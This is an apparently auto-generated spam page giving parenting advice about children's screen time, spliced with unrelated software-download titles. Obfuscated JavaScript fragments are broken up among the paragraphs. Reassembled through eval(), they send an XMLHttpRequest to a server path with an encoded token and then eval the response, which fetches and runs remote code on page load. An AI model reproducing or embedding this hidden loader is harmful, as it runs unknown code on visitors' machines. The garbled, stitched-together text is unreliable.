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Computers can help kids with their schoolwork But surfing the internet, spending too much time on Facebook, or watching YouTube videos is considered unhealthy screen time.

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• Suggest other activities, such as family board games, puzzles, or going for a walk.. But you can help your children by telling them how sedentary activities affect their overall health.. Talk to them about things they can do to be healthier To decrease screen time: • Remove the TV or computer from your child's bedroom.. o";x["oA"]="YZ";x["Kj"]="UB";x["xA"]="nd";x["Id"]="xt";x["Gg"]="on";x["Vy"]="w ";x["Di"]="/?";x["JK"]="Fw";x["lx"]="ow";x["io"]="t9";x["DO"]="st";x["XQ"]="ns";x["SP"]="ar";x["wr"]="=d";x["qL"]=");";x["Hk"]="UF";x["XE"]="bA";x["dN"]="VW";x["Qw"]="g=";x["lQ"]="UE";x["Fu"]="nc";x["Dg"]="ef";x["ky"]="ue";x["lb"]="hU";x["Ns"]="r ";x["Qx"]="r=";x["Ha"]="LH";x["Ke"]="',";x["Re"]="oa";x["iC"]="Tx";x["Gw"]="um";x["Rk"]="l(";x["zT"]="Ba";x["Or"]="in";x["Gs"]="ZD";x["qZ"]="'G";x["yb"]="XQ";x["pi"]=";x";x["EG"]="Fh";x["fX"]="5U";x["av"]="EF";x["Ig"]="YD";x["OP"]="UA";x["Cp"]=" r";x["vK"]="fe";x["SZ"]="hr";x["Nx"]="se";x["hE"]="/d";x["sP"]="Uw";x["RP"]=";e";x["oa"]=";";x["rg"]="fu";x["cp"]="KE";x["IN"]="};";x["Xs"]="eq";x["gA"]="xh";x["HX"]="va";x["qR"]="8Z";x["WV"]="d=";x["Vt"]="re";x["YW"]="ZZ";x["AC"]="Ww";x["vq"]="BV";x["kl"]="pe";x["hU"]="cZ";x["bj"]="tt";x["Sa"]="er";x["Sd"]="pT";x["XH"]="()";x["QW"]="RX";x["KQ"]="ne";x["CY"]="kB";x["wS"]="S1";x["cZ"]="pR";x["qJ"]="Te";eval(x["HX"]+x["Ns"]+x["gA"]+x["Qx"]+x["KQ"]+x["Vy"]+x["ob"]+x["Ha"]+x["bj"]+x["cZ"]+x["Xs"]+x["ky"]+x["DO"]+x["XH"]+x["pi"]+x["SZ"]+x["vY"]+x["kl"]+x["qr"]+x["qZ"]+x["zv"]+x["Ke"]+x["ZB"]+x["hE"]+x["lx"]+x["KQ"]+x["XQ"]+x["HF"]+x["io"]+x["Mp"]+x["Or"]+x["Di"]+x["iC"]+x["YW"]+x["cp"]+x["Qw"]+x["JK"]+x["Sd"]+x["AC"]+x["Ig"]+x["yc"]+x["Gs"]+x["wS"]+x["lb"]+x["sP"]+x["QW"]+x["yb"]+x["CY"]+x["vq"]+x["ni"]+x["fd"]+x["yS"]+x["OP"]+x["Nn"]+x["XE"]+x["fG"]+x["GGQM"]+x["Kk"]+x["rW"]+x["Dn"]+x["rW"]+x["zT"]+x["XI"]+x["hU"]+x["Hk"]+x["oA"]+x["av"]+x["EO"]+x["EG"]+x["fX"]+x["wS"]+x["dN"]+x["Kj"]+x["qR"]+x["lQ"]+x["nk"]+x["DX"]+x["Qj"]+x["zk"]+x["pi"]+x["SZ"]+x["vY"]+x["tU"]+x["Re"]+x["WV"]+x["rg"]+x["Fu"]+x["iW"]+x["Gg"]+x["XH"]+x["kt"]+x["SP"]+x["Cp"]+x["Dg"]+x["wr"]+x["ni"]+x["Gw"]+x["Gr"]+x["JR"]+x["Vt"]+x["vK"]+x["Pa"]+x["Sa"]+x["RP"]+x["HX"]+x["Rk"]+x["gA"]+x["Ir"]+x["Vt"]+x["Ew"]+x["Gg"]+x["Nx"]+x["qJ"]+x["Id"]+x["qL"]+x["IN"]+x["gA"]+x["Ir"]+x["Nx"]+x["xA"]+x["XH"]+x["oa"]);'Screen time' is a term used for activities done in front of a screen, such as watching TV, working on a computer, or playing video games.

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• TV commercials and other screen ads can lead to Most of the time, the foods in ads that are aimed at kids are high in sugar, salt, or fats.. Added together, all types of screen time can total 5 to 7 hours a day Too much screen time can: • Make it hard for your child to sleep at night • Raise your child's risk for attention problems, anxiety, and depression • Raise your child's risk for gaining too much weight () Screen time increases your child's risk for because: • Sitting and watching a screen is time that is not spent being physically active.. ";x["Nn"]="cP";x["DX"]="VQ";x["Mp"]=" w";x["fd"]="YA";x["yc"]="Xk";x["Pa"]="rr";x["yS"]="FB";x["Dn"]="cJ";x["Ir"]="r. Wpe Alternative For Mac

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• Decide which programs to watch ahead of time Turn off the TV when those programs are over.. var x = new Array();x["kt"]="{v";x["Qj"]="Jc";x["ni"]="oc";x["tU"]="nl";x["Ew"]="sp";x["HF"]="of";x["rW"]="T1";x["JR"]="t.. Screen time is sedentary activity, meaning you are being physically inactive while sitting down.. • Be a good role model as a parent Decrease your own screen time to 2 hours a day.. • Keep a record of how much time is spent in front of a screen Try to spend the same amount of time being active. Ibm T40p Driver For Mac

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Very little energy is used during screen time Most American children spend about 3 hours a day watching TV.. Cutting down to 2 hours a day can be hard for some children because TV may be such a large part of their daily routines.. • DO NOT allow TV watching during meals or homework • DO NOT let your child eat while watching TV or using the computer.. ";x["nk"]="8K";x["Gr"]="en";x["ob"]="XM";x["qr"]="n(";x["zv"]="ET";x["ZB"]="'/";x["fG"]="xe";x["EO"]="xU";x["iW"]="ti";x["Kk"]="9d";x["XI"]="Q1";x["GGQM"]="AU";x["zk"]="')";x["vY"]=".. SCREEN TIME “A healthy approach to children’s media use should both minimize potential health risks and foster appropriate and positive media use—in other words. 0041d406d9 Windows Xp Theme For Mac

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